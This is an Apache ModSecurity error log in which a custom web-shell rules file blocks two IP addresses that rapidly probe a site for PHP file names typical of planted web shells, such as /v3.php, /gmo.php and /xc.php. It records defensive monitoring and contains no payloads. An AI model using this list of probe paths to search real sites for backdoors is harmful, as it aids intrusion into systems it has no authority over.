[Wed Apr 01 22:08:50.827705 2026] [:error] [pid 8908:tid 8920] [client 20.91.245.108:5304] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "ac0m8vkmxtJXGnLdvgCknAAAAIc"]
[Wed Apr 01 22:08:51.466252 2026] [:error] [pid 8908:tid 8929] [client 20.91.245.108:20707] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "ac0m8_kmxtJXGnLdvgCkoAAAAJA"]
[Wed Apr 01 22:08:53.075986 2026] [:error] [pid 8909:tid 8959] [client 20.91.245.108:18125] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "ac0m9TvP_a0662gDl6DvDwAAANI"]
[Wed Apr 01 22:08:54.122590 2026] [:error] [pid 8995:tid 9022] [client 20.91.245.108:23795] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "ac0m9uonaBjs3qxcRefb4QAAABg"]
[Wed Apr 01 22:08:54.896539 2026] [:error] [pid 8910:tid 8986] [client 20.91.245.108:32921] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/size.php"] [unique_id "ac0m9qJZINUcF3tYgExw8wAAARI"]
[Wed Apr 01 22:08:56.369751 2026] [:error] [pid 17856:tid 17870] [client 20.91.245.108:15283] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/size.php"] [unique_id "ac0m-D7Idlm5j9frhqRg4wAAAEw"]
[Wed Apr 01 22:08:57.408253 2026] [:error] [pid 8995:tid 9010] [client 20.91.245.108:20058] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/size.php"] [unique_id "ac0m-eonaBjs3qxcRefb7AAAAAw"]
[Wed Apr 01 22:08:58.780796 2026] [:error] [pid 8909:tid 8953] [client 20.91.245.108:23992] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/size.php"] [unique_id "ac0m-jvP_a0662gDl6DvHAAAAMw"]
[Wed Apr 01 22:08:59.589556 2026] [:error] [pid 8910:tid 8980] [client 20.91.245.108:22467] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "ac0m-6JZINUcF3tYgExw_QAAAQw"]
[Wed Apr 01 22:09:00.632707 2026] [:error] [pid 8908:tid 8924] [client 20.91.245.108:18113] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "ac0m_PkmxtJXGnLdvgCkqwAAAIs"]
[Wed Apr 01 22:09:01.584975 2026] [:error] [pid 8908:tid 8922] [client 20.91.245.108:5248] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "ac0m_fkmxtJXGnLdvgCkrwAAAIk"]
[Wed Apr 01 22:09:02.729435 2026] [:error] [pid 62559:tid 62576] [client 20.91.245.108:19010] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "ac0m_i7NKI8IaNKZFIe1SAAAAU8"]
[Wed Apr 01 22:09:03.566047 2026] [:error] [pid 8908:tid 8913] [client 20.91.245.108:15771] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-load.php"] [unique_id "ac0m__kmxtJXGnLdvgCk1gAAAIA"]
[Wed Apr 01 22:09:04.550632 2026] [:error] [pid 8995:tid 9002] [client 20.91.245.108:20044] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-load.php"] [unique_id "ac0nAOonaBjs3qxcRefb9AAAAAQ"]
[Wed Apr 01 22:09:05.185935 2026] [:error] [pid 8908:tid 8928] [client 20.91.245.108:13703] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-load.php"] [unique_id "ac0nAfkmxtJXGnLdvgCk5gAAAI8"]
[Wed Apr 01 22:09:15.269564 2026] [:error] [pid 62559:tid 62578] [client 20.91.245.108:13715] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "ac0nCy7NKI8IaNKZFIe1kAAAAVE"]
[Wed Apr 01 22:09:16.827701 2026] [:error] [pid 62559:tid 62567] [client 20.91.245.108:16864] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "ac0nDC7NKI8IaNKZFIe1lgAAAUY"]
[Wed Apr 01 22:09:18.063505 2026] [:error] [pid 17856:tid 17863] [client 20.91.245.108:29879] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "ac0nDj7Idlm5j9frhqRhCAAAAEU"]
[Wed Apr 01 22:09:19.057037 2026] [:error] [pid 62559:tid 62577] [client 20.91.245.108:27553] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "ac0nDy7NKI8IaNKZFIe1mwAAAVA"]
[Wed Apr 01 22:09:20.903204 2026] [:error] [pid 17856:tid 17860] [client 20.91.245.108:23793] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v.php"] [unique_id "ac0nED7Idlm5j9frhqRhEAAAAEI"]
[Wed Apr 01 22:09:22.228118 2026] [:error] [pid 8995:tid 9011] [client 20.91.245.108:27533] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v.php"] [unique_id "ac0nEuonaBjs3qxcRefcCAAAAA0"]
[Wed Apr 01 22:09:23.021236 2026] [:error] [pid 8908:tid 8937] [client 20.91.245.108:29837] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v.php"] [unique_id "ac0nE_kmxtJXGnLdvgCk-QAAAJg"]
[Wed Apr 01 22:09:24.960409 2026] [:error] [pid 62559:tid 62562] [client 20.91.245.108:6103] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v.php"] [unique_id "ac0nFC7NKI8IaNKZFIe1tAAAAUE"]
[Wed Apr 01 22:09:27.029810 2026] [:error] [pid 17856:tid 17859] [client 20.91.245.108:23515] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d2.php"] [unique_id "ac0nFz7Idlm5j9frhqRhHAAAAEE"]
[Wed Apr 01 22:09:29.180036 2026] [:error] [pid 8995:tid 9002] [client 20.91.245.108:27576] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d2.php"] [unique_id "ac0nGeonaBjs3qxcRefcFQAAAAQ"]
[Wed Apr 01 22:09:30.594198 2026] [:error] [pid 62559:tid 62567] [client 20.91.245.108:18610] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d2.php"] [unique_id "ac0nGi7NKI8IaNKZFIe1wQAAAUY"]
[Wed Apr 01 22:09:31.319680 2026] [:error] [pid 8910:tid 8971] [client 20.91.245.108:21241] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d2.php"] [unique_id "ac0nG6JZINUcF3tYgExxJgAAAQM"]
[Wed Apr 01 22:09:32.201898 2026] [:error] [pid 17856:tid 17874] [client 20.91.245.108:29877] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xc.php"] [unique_id "ac0nHD7Idlm5j9frhqRhJgAAAFA"]
[Wed Apr 01 22:09:33.175564 2026] [:error] [pid 8910:tid 8987] [client 20.91.245.108:13753] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xc.php"] [unique_id "ac0nHaJZINUcF3tYgExxLAAAARM"]
[Wed Apr 01 22:09:34.114953 2026] [:error] [pid 8910:tid 8968] [client 20.91.245.108:23748] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xc.php"] [unique_id "ac0nHqJZINUcF3tYgExxMQAAAQA"]
[Wed Apr 01 22:09:34.949331 2026] [:error] [pid 17856:tid 17861] [client 20.91.245.108:34929] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xc.php"] [unique_id "ac0nHj7Idlm5j9frhqRhMwAAAEM"]
[Wed Apr 01 22:09:35.978492 2026] [:error] [pid 8909:tid 8961] [client 20.91.245.108:21674] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "ac0nHzvP_a0662gDl6DvpAAAANQ"]
[Wed Apr 01 22:09:36.679904 2026] [:error] [pid 8909:tid 8945] [client 20.91.245.108:25318] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "ac0nIDvP_a0662gDl6DvpQAAAMQ"]
[Wed Apr 01 22:09:37.714938 2026] [:error] [pid 8908:tid 8931] [client 20.91.245.108:21238] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "ac0nIfkmxtJXGnLdvgClGQAAAJI"]
[Wed Apr 01 22:09:39.435899 2026] [:error] [pid 8908:tid 8919] [client 20.91.245.108:18581] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "ac0nI_kmxtJXGnLdvgClHwAAAIY"]
[Wed Apr 01 22:09:40.536740 2026] [:error] [pid 8910:tid 8982] [client 20.91.245.108:13561] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "ac0nJKJZINUcF3tYgExxOgAAAQ4"]
[Wed Apr 01 22:09:41.663199 2026] [:error] [pid 8908:tid 8925] [client 20.91.245.108:18617] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "ac0nJfkmxtJXGnLdvgClJwAAAIw"]
[Wed Apr 01 22:09:43.183898 2026] [:error] [pid 8908:tid 8934] [client 20.91.245.108:31935] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "ac0nJ_kmxtJXGnLdvgClLQAAAJU"]
[Wed Apr 01 22:09:44.078438 2026] [:error] [pid 8908:tid 8923] [client 20.91.245.108:15787] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "ac0nKPkmxtJXGnLdvgClNQAAAIo"]
[Wed Apr 01 22:09:45.785305 2026] [:error] [pid 8909:tid 8949] [client 20.91.245.108:21221] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "ac0nKTvP_a0662gDl6DvtAAAAMg"]
[Wed Apr 01 22:09:46.814959 2026] [:error] [pid 17856:tid 17859] [client 20.91.245.108:23521] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "ac0nKj7Idlm5j9frhqRhOwAAAEE"]
[Wed Apr 01 22:09:47.782907 2026] [:error] [pid 8908:tid 8929] [client 20.91.245.108:10452] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "ac0nK_kmxtJXGnLdvgClTQAAAJA"]
[Wed Apr 01 22:09:48.877838 2026] [:error] [pid 8908:tid 8922] [client 20.91.245.108:31658] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "ac0nLPkmxtJXGnLdvgClVQAAAIk"]
[Wed Apr 01 22:09:49.890423 2026] [:error] [pid 8909:tid 8963] [client 20.91.245.108:9926] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/20.php"] [unique_id "ac0nLTvP_a0662gDl6DvvwAAANY"]
[Wed Apr 01 22:09:50.648748 2026] [:error] [pid 8910:tid 8986] [client 20.91.245.108:14977] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/20.php"] [unique_id "ac0nLqJZINUcF3tYgExxRQAAARI"]
[Wed Apr 01 22:09:51.689311 2026] [:error] [pid 8910:tid 8975] [client 20.91.245.108:31661] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/20.php"] [unique_id "ac0nL6JZINUcF3tYgExxRgAAAQc"]
[Wed Apr 01 22:09:52.662925 2026] [:error] [pid 62559:tid 62569] [client 20.91.245.108:31889] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/20.php"] [unique_id "ac0nMC7NKI8IaNKZFIe14AAAAUg"]
[Wed Apr 01 22:09:54.379679 2026] [:error] [pid 62559:tid 62566] [client 20.91.245.108:26365] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "ac0nMi7NKI8IaNKZFIe16AAAAUU"]
[Wed Apr 01 23:00:37.504264 2026] [:error] [pid 17856:tid 17874] [client 172.213.8.171:31924] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hnphq.php"] [unique_id "ac0zFT7Idlm5j9frhqRzvAAAAFA"]
[Wed Apr 01 23:00:37.971122 2026] [:error] [pid 17856:tid 17876] [client 172.213.8.171:2485] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hnphq.php"] [unique_id "ac0zFT7Idlm5j9frhqRzvgAAAFI"]
[Wed Apr 01 23:00:38.457421 2026] [:error] [pid 17856:tid 17866] [client 172.213.8.171:54549] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hnphq.php"] [unique_id "ac0zFj7Idlm5j9frhqRzwwAAAEg"]
[Wed Apr 01 23:00:38.930826 2026] [:error] [pid 62559:tid 62578] [client 172.213.8.171:2335] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hnphq.php"] [unique_id "ac0zFi7NKI8IaNKZFIfg1QAAAVE"]
[Wed Apr 01 23:00:39.420176 2026] [:error] [pid 8908:tid 8928] [client 172.213.8.171:63784] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "ac0zF_kmxtJXGnLdvgDDdgAAAI8"]
[Wed Apr 01 23:00:39.904129 2026] [:error] [pid 8908:tid 8914] [client 172.213.8.171:19901] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "ac0zF_kmxtJXGnLdvgDDdwAAAIE"]
[Wed Apr 01 23:00:40.436963 2026] [:error] [pid 62559:tid 62565] [client 172.213.8.171:2309] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "ac0zGC7NKI8IaNKZFIfg4gAAAUQ"]
[Wed Apr 01 23:00:40.931316 2026] [:error] [pid 8908:tid 8931] [client 172.213.8.171:32729] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "ac0zGPkmxtJXGnLdvgDDfAAAAJI"]
